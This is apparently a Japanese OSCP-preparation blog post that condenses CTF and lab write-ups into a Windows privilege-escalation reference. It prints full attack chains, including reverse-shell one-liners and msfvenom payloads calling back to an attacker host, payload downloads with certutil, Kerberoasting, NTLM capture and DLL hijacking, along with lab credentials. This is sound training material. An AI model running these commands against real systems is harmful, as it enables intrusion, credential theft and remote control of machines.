Post

Windows 権限昇格 — 60件超のWriteup全網羅分析(OSCP対策版)

TryHackMe・HackTheBox・Proving Grounds の全 Windows Writeup を分析した OSCP 対策リファレンス。Proving Grounds 全4マシンをコマンドレベルで詳解。Metasploit なし・手動手法のみ。

Windows 権限昇格 — 60件超のWriteup全網羅分析(OSCP対策版)

TL;DR

本ブログの全 Windows Writeup — TryHackMe (44)・HackTheBox (8)・Proving Grounds (8) — を OSCP 試験スタイルの手動攻撃(Metasploit なし) に絞って分析・体系化したリファレンス。

Proving Grounds マシンは OSCP 試験難度に最も近いため、コマンドレベルで全4マシンを詳解する。

PG カテゴリについての注記: pg-apex・pg-bratarina・pg-clue はこのブログで [Proving Grounds, Windows] に分類されているが、シェル出力・SMB バナー(Samba, Ubuntu・/bin/bash)から実際は Linux ホストであることが確認できる。各エントリで実 OS を明記した上で全て収録している。

頻度別 手法ランキング(OSCP 試験での利用可否付き):

順位 手法 カテゴリ OSCP 試験で使用可能?
1 SeImpersonatePrivilege → Potato / PrintSpoofer トークン悪用 可
2 Kerberoasting(GetUserSPNs) Active Directory 可
3 サービス設定不備(binPath / 弱い ACL) ローカル設定不備 可
4 書き込み可能スクリプト + 特権スケジューラー ローカル設定不備 可
5 GPP / cpassword / 保存済み資格情報 資格情報露出 可
6 AlwaysInstallElevated ローカル設定不備 可
7 AS-REP Roasting + ACL チェーン Active Directory 可
8 CVE / 公開エクスプロイト(searchsploit) 既知 CVE 可(手動のみ)
9 LFI → 設定ファイル資格情報抽出 Web 脆弱性 可
10 NTLM キャプチャ(Responder)→ hashcat 資格情報悪用 可

データセット概要

プラットフォーム別 Writeup 数

pie title Windowsタグ付き Writeup のプラットフォーム分布
    "TryHackMe" : 44
    "HackTheBox" : 8
    "Proving Grounds" : 8

権限昇格カテゴリ別 観測数

pie title 権限昇格カテゴリの観測内訳
    "トークン悪用 (SeImpersonate)" : 22
    "Active Directory / Kerberos" : 18
    "ローカル設定不備" : 15
    "資格情報露出" : 12
    "CVE / 公開エクスプロイト" : 10
    "その他(直接 root)" : 3

Proving Grounds — 全 Writeup 詳細分析

Proving Grounds マシンは OSCP 試験との親和性が最も高い。このセクションで全4マシンをコマンドレベルで解説する。

PG — Craft2(Windows 10)

→ 全 Writeup

項目 内容
実際の OS Windows 10(Version 10.0.17763.2746)
侵入経路 Bad-ODF NTLM キャプチャ → 資格情報再利用 → PHP Web シェル
権限昇格 CVE-2020-1337(WerTrigger)— MySQL LOAD_FILE DLL インジェクション
OSCP スタイル 100% 手動 — Metasploit なし

フルアタックチェーン:

flowchart LR
    A[Bad-ODF.py → 悪意ある ODT] --> B[Responder が NTLMv2 ハッシュをキャプチャ]
    B --> C[hashcat -m 5600 → winniethepooh]
    C --> D[smbclient で WebApp 共有に書き込み]
    D --> E[cmd.php アップロード → craft2\\apache として Web シェル]
    E --> F[shell.exe アップロード → リバースシェル]
    F --> G[chisel トンネル → MySQL ポート 3306 を公開]
    G --> H[MySQL LOAD_FILE → DLL を System32 に書き込み]
    H --> I[WerTrigger.exe → CVE-2020-1337 → SYSTEM]

主要コマンド:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 1. 悪意のある ODF ドキュメント生成(開封時に NTLM を漏洩させる)
python3 Bad-ODF.py   # 攻撃者 IP を入力 → bad.odt が生成される

# 2. NTLMv2 ハッシュをキャプチャ
sudo responder -I tun0 -v
# → THECYBERGEEK::CRAFT2:<ハッシュ>

# 3. hashcat でクラック
hashcat -m 5600 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
# → winniethepooh

# 4. 書き込み可能な SMB 共有にアクセス
smbclient //$ip/Webapp -U 'thecybergeek%winniethepooh' -m SMB3 -c 'put ./cmd.php'

# 5. リバースシェル DLL を生成
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=443 -f dll -o phoneinfo.dll

# 6. chisel で MySQL ポートをトンネル
./chisel server -p 8000 --reverse                              # 攻撃者側
.\chisel.exe client $KALI:8000 R:3306:127.0.0.1:3306          # 標的側

# 7. MySQL 経由で DLL を System32 に書き込み
mysql -u root -h 127.0.0.1 -P 3306
# > SELECT LOAD_FILE('C:\\Users\\Public\\phoneinfo.dll') INTO DUMPFILE "C:\\Windows\\System32\\phoneinfo.dll";

# 8. WER が DLL をロードするよう誘導 → SYSTEM シェル取得
certutil -urlcache -f http://$KALI/WerTrigger.exe WerTrigger.exe
.\WerTrigger.exe

OSCP へのエッセンス:

  • Responder + hashcat は OSCP で最も標準的な NTLM 資格情報取得ワークフロー
  • 内部サービスに直接到達できない場合は chisel でのポートフォワードが必須
  • certutil -urlcache -f は Windows でのファイルダウンロードの定番(PowerShell 不要)
  • CVE-2020-1337 は「DB の FILE 権限 → ファイルシステム書き込み → DLL ハイジャック」という創造的なチェーン

PG — Apex(Linux/Samba — Windows タグ付き)

→ 全 Writeup

項目 内容
実際の OS Linux(Ubuntu) — ブログでは Windows タグ
侵入経路 OpenEMR LFI(CVE-2018-17179)→ sqlconf.php 資格情報抽出
権限昇格 データベース資格情報の再利用(mysql -u openemr)
OSCP スタイル 手動 CVE 利用

アタックチェーン:

flowchart LR
    A[SMB 匿名 → docs 共有 → OpenEMR PDF] --> B[OpenEMR 特定 → searchsploit]
    B --> C[CVE-2018-17179 LFI → /etc/passwd 読み取り]
    C --> D[LFI → sqlconf.php 読み取り → openemr:C78maEQUIEuQ]
    D --> E[mysql -h ターゲット → DB アクセス]

主要コマンド:

1
2
3
4
5
6
7
8
9
10
# SMB 列挙 — PDF から動作アプリを特定
smbclient -L //$ip -N
smbclient //$ip/docs -m SMB3   # OpenEMR の PDF が見つかる

# OpenEMR LFI エクスプロイト
python3 49359.py http://$ip PHPSESSID=<session> /etc/passwd
python3 49359.py http://$ip PHPSESSID=<session> /var/www/openemr/sites/default/sqlconf.php

# 抽出した資格情報で MySQL 接続
mysql -h $ip -u openemr -pC78maEQUIEuQ --skip-ssl

OSCP へのエッセンス:

  • SMB 共有のファイル内容がアプリを特定し、searchsploit への直接パスを開く
  • LFI は設定ファイル(sqlconf.php・.env・config.php)への読み取りで資格情報を効率的に取得できる
  • LFI を持ったら必ず /proc/self/cmdline とアプリ固有の設定パスを試すこと

PG — Bratarina(Linux/Samba — Windows タグ付き)

→ 全 Writeup

項目 内容
実際の OS Linux(Samba) — ブログでは Windows タグ
侵入経路 SMB 匿名 → passwd.bak → OpenSMTPD RCE(CVE-2020-7247)
権限昇格 エクスプロイト自体が root シェルを返すため個別の権限昇格ステップなし
OSCP スタイル searchsploit を用いた手動 CVE 利用

アタックチェーン:

flowchart LR
    A[SMB 匿名 → backups 共有] --> B[passwd.bak DL → ユーザー一覧: neil, postgres]
    B --> C[nc $ip 25 → OpenSMTPD 6.6.1 バナー確認]
    C --> D[searchsploit opensmtpd → EDB-47984 CVE-2020-7247]
    D --> E[python3 47984.py $ip 25 payload → root シェル]

主要コマンド:

1
2
3
4
5
6
7
8
9
10
# SMB 匿名列挙
smbclient "//$ip/backups" -N -m SMB3   # → passwd.bak ダウンロード

# ポート 25 バナー確認
nc -vn $ip 25   # → 220 bratarina ESMTP OpenSMTPD

# エクスプロイトの検索と利用
searchsploit opensmtpd
searchsploit -m 47984
python3 47984.py $ip 25 'python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$KALI\",80));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn(\"/bin/bash\")"'

OSCP へのエッセンス:

  • SMB の匿名バックアップ共有は高確率でファイルを含む — 読み取れる全共有を必ず ls する
  • ポート 25 でバナー確認 → バージョン特定 → searchsploit は再現性の高いワークフロー
  • OpenSMTPD は root で動作するため、エクスプロイトで即座に root シェルを取得できる(権限昇格不要)
  • searchsploit -m <EDB-ID> でエクスプロイトをカレントディレクトリにコピーするのが定番

PG — Clue(Linux/Debian — Windows タグ付き)

→ 全 Writeup

項目 内容
実際の OS Linux(Debian) — ブログでは Windows タグ
侵入経路 Cassandra Web LFI(EDB-49362)→ 資格情報抽出 → FreeSWITCH RCE
権限昇格 sudo 設定不備 → cassandra-web が root で起動 → LFI を再利用して SSH 秘密鍵を読み取り
OSCP スタイル 手動多段チェーン攻撃

アタックチェーン:

flowchart LR
    A[feroxbuster ポート 3000 → Cassandra Web 発見] --> B[LFI 49362 → /proc/self/cmdline]
    B --> C[cassie:SecondBiteTheApple330 を抽出]
    C --> D[LFI → freeswitch event_socket.conf.xml]
    D --> E[StrongClueConEight021 を抽出]
    E --> F[searchsploit freeswitch → EDB-47799 → freeswitch ユーザーで RCE]
    F --> G[sudo -u root cassandra-web -B 0.0.0.0:1337]
    G --> H[ポート 1337 で root として LFI → /root/.ssh/id_rsa 読み取り]
    H --> I[ssh root@ip -i id_rsa]

主要コマンド:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# LFI でプロセスの資格情報を抽出
python3 49362.py $ip -p 3000 ../../../../../../../../proc/self/cmdline
# → /usr/bin/ruby2.5/usr/local/bin/cassandra-web-ucassie-pSecondBiteTheApple330

# LFI で FreeSWITCH 設定を読み取り
python3 49362.py $ip -p 3000 ../../../../../../../../etc/freeswitch/autoload_configs/event_socket.conf.xml
# → password: StrongClueConEight021

# FreeSWITCH RCE(抽出したパスワードで認証)
searchsploit freeswitch
python3 47799.py $ip 'nc -e /bin/sh $KALI 3000'

# 権限昇格: sudo で cassandra-web を root として起動 → 新たな LFI 面が生まれる
sudo -u root /usr/local/bin/cassandra-web -B 0.0.0.0:1337 -u cassie -p SecondBiteTheApple330
# ポート 1337 の LFI が root 権限で動作するようになる
python3 49362.py $ip -p 1337 ../../../../../../../../root/.ssh/id_rsa
ssh root@$ip -i id_rsa

OSCP へのエッセンス:

  • LFI を持ったら /proc/self/cmdline を必ず試す — コマンドライン引数に平文パスワードが含まれることがある
  • サービス設定ファイル(freeswitch・apache・nginx)は資格情報の宝庫 — LFI があるなら必ず確認する
  • sudo -l → root でアプリを起動 → そのアプリ自身が LFI を持つ場合、チェーンを延長できる
  • root 権限の LFI から SSH 秘密鍵を抜き取るというパターンを頭に入れておく

Windows 固有の権限昇格手法(OSCP リファレンス)

SeImpersonatePrivilege → トークン悪用

1
whoami /priv   # → SeImpersonatePrivilege   Enabled を確認
:: ファイル転送
certutil -urlcache -split -f http://$KALI/GodPotato.exe C:\Temp\GodPotato.exe

:: GodPotato(Server 2012 ~ Windows 11 まで全対応)
.\GodPotato.exe -cmd "nc.exe $KALI 4444 -e cmd.exe"

:: PrintSpoofer(Windows 10 / Server 2019)
.\PrintSpoofer64.exe -i -c cmd

観測事例: THM - Alfred — Jenkins → SeImpersonate → PrintSpoofer → SYSTEM


Kerberoasting

1
2
python3 GetUserSPNs.py -request -dc-ip $ip DOMAIN/user:'pass' -outputfile hash.txt
hashcat -m 13100 -a 0 hash.txt /usr/share/wordlists/rockyou.txt

観測事例: HTB - Active, THM - Corp


サービス設定不備

accesschk.exe /accepteula -uwcqv "Users" *
sc config <service> binPath= "C:\Temp\shell.exe"
sc stop <service> && sc start <service>

観測事例: THM - Windows PrivEsc Arena


書き込み可能スクリプト + スケジュールタスク

:: winPEAS が報告: File Permissions "C:\DevTools\CleanUp.ps1": Users [WriteData/CreateFiles]
echo C:\Temp\shell.exe >> C:\DevTools\CleanUp.ps1
rlwrap -cAri nc -lvnp 443   :: タスク発火時に SYSTEM シェルを受信

観測事例: THM - Windows PrivEsc


GPP / cpassword

1
2
smbclient //$ip/Replication -N   # → Groups.xml を見つける
gpp-decrypt "<cpassword>"

観測事例: HTB - Active


AlwaysInstallElevated

reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$KALI LPORT=4444 -f msi -o shell.msi
msiexec /quiet /qn /i C:\Temp\shell.msi

観測事例: THM - Windows PrivEsc Arena


AS-REP Roasting + BloodHound

1
2
3
python3 GetNPUsers.py htb.local/ -no-pass -usersfile users.txt -dc-ip $ip -format hashcat
hashcat -m 18200 asrep.txt rockyou.txt
bloodhound-python -d htb.local -u svc-alfresco -p <pass> -c All -ns $ip

観測事例: HTB - Forest


保存済み資格情報

1
2
3
4
Get-Content C:\Windows\Panther\Unattend\Unattended.xml
cmdkey /list
reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
findstr /si password *.txt *.xml *.ini *.config

観測事例: THM - Corp


OSCP 試験向け 権限昇格 判断フロー

flowchart TD
    A[低権限 Windows シェル取得] --> B[whoami /all 実行]
    B --> C{SeImpersonatePrivilege?}
    C -->|有効| D[GodPotato / PrintSpoofer → SYSTEM]
    C -->|なし| E[systeminfo → OS バージョン + パッチ確認]
    E --> F{既知カーネル CVE?}
    F -->|あり| G[searchsploit → 手動エクスプロイト]
    F -->|なし| H[winPEAS フルスキャン]
    H --> I{サービス / ACL / レジストリ問題?}
    I -->|binPath 書き込み可| J[sc config → SYSTEM]
    I -->|AlwaysInstallElevated| K[MSI ペイロード → SYSTEM]
    I -->|書き込み可スケジュールタスク| L[ペイロード追記 → SYSTEM]
    I -->|なし| M{資格情報は?}
    M -->|Unattend / cmdkey / レジストリ| N[横移動または直接管理者接続]
    M -->|なし| O[AD 環境なら BloodHound]

ファイル転送 — OSCP 必須コマンド集

:: certutil — 全 Windows にプリインストール済み、最も安定
certutil -urlcache -split -f http://$KALI:8000/file.exe C:\Temp\file.exe

:: curl(Windows 10 以降ビルトイン)
curl http://$KALI:8000/file.exe -o C:\Temp\file.exe

:: bitsadmin(古いシステム向け)
bitsadmin /transfer job http://$KALI:8000/file.exe C:\Temp\file.exe
1
2
3
# Kali 側でファイルを配信
python3 -m http.server 8000
impacket-smbserver share . -smb2support -username guest -password ""

chisel によるポートフォワード

1
2
3
4
5
6
7
8
# 攻撃者側
./chisel server -p 8000 --reverse

# 標的側(Windows)— 内部 MySQL を公開
.\chisel.exe client $KALI:8000 R:3306:127.0.0.1:3306

# SOCKS5 プロキシ(内部ネットワーク全体へのアクセス)
.\chisel.exe client $KALI:8000 R:socks

列挙チェックリスト

1
2
3
4
5
6
7
8
9
10
11
12
13
14
whoami /all
systeminfo
wmic qfe get Caption,HotFixID
sc query state= all
accesschk.exe /accepteula -uwcqv "Users" *
wmic service get name,pathname,startmode | findstr /iv "C:\Windows\\" | findstr /iv "\""
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
schtasks /query /fo LIST /v
cmdkey /list
Get-Content C:\Windows\Panther\Unattend\Unattended.xml
findstr /si password *.txt *.xml *.ini *.config
.\winPEASx64.exe

Writeup 参照インデックス — 全網羅

Proving Grounds(OSCP 最優先)

マシン 実際の OS 侵入経路 権限昇格 リンク
Craft2 Windows 10 Bad-ODF NTLM → Web シェル CVE-2020-1337(WerTrigger + DLL) →
Apex Linux(Ubuntu) OpenEMR LFI(CVE-2018-17179) sqlconf.php → MySQL 資格情報 →
Bratarina Linux(Samba) OpenSMTPD RCE(CVE-2020-7247) エクスプロイトで直接 root →
Clue Linux(Debian) Cassandra Web LFI → FreeSWITCH RCE sudo → root として LFI 再利用 →

HackTheBox Windows

マシン 侵入経路 権限昇格 リンク
Active SMB null → GPP cpassword Kerberoasting → Domain Admin →
Forest LDAP ユーザー列挙 AS-REP Roast → BloodHound → DCSync →
Fluffy (Writeup 参照) (Writeup 参照) →
Legacy (Writeup 参照) (Writeup 参照) →

TryHackMe Windows(主要マシン)

マシン 侵入経路 権限昇格 リンク
Windows PrivEsc ローカルシェル 書き込み可スクリプト + SYSTEM スケジューラー →
Windows PrivEsc Arena RDP サービス設定不備・AlwaysInstallElevated・引用符なしパス →
Alfred Jenkins デフォルト認証 SeImpersonate → PrintSpoofer →
Corp ローカル RDP Kerberoasting + Unattend.xml →
Retro WordPress 資格情報 → RDP カーネルエクスプロイト →
Steel Mountain Rejetto HFS CVE サービス設定悪用 →
HackPark Web ブルートフォース (Writeup 参照) →
Blaster (Writeup 参照) (Writeup 参照) →
Holo (Writeup 参照) (Writeup 参照) →
Stealth (Writeup 参照) (Writeup 参照) →
Attacking Kerberos Kerberos 攻撃 AD ラボ →
Attacktive Directory AD ラボ AD ラボ →

関連 TechBlog 記事

記事 リンク
Windows Potato PrivEsc ガイド(GodPotato ~ Hot Potato 全解説) →
PsExec ラテラルムーブメント →
NTLM リレー(ntlmrelayx) →
Kerberoasting(GetUserSPNs 詳解) →
RBCD 攻撃 →
AD CS / Certipy →

OSCP 受験者への5つの教訓

  1. バナー確認 → searchsploit が最初のアクション。 Bratarina は nc $ip 25 でバージョン確認 → searchsploit → 公開エクスプロイト実行という3ステップで解決した。OSCP 本番でも同じパターンが頻出する。

  2. LFI は /etc/passwd だけではない。 Clue と Apex は /proc/self/cmdline・アプリ設定ファイル・サービス設定への LFI が資格情報を直接抽出できることを示している。

  3. chisel によるポートフォワードは必須スキル。 Craft2 では標的内部の MySQL を Kali から見えるようにするために chisel が必要だった。server/client の構文とリバースポートフォワードの記法を暗記しておくこと。

  4. Responder は Windows 攻撃の「開幕手」として有効。 ファイルを取得させられる Windows ホストは必ず NTLMv2 を漏洩する。Craft2 は ODF ドキュメントがそのトリガーになった。

  5. Web / DB サービスのシェルは SeImpersonatePrivilege を持つことが多い。 IIS・XAMPP(apache)・Jenkins・SQL Server のシェルを取ったら、最初に必ず whoami /priv を確認する。GodPotato は Server 2012 から Windows 11 まで全対応している。


参照リンク

This post is licensed under CC BY 4.0 by the author.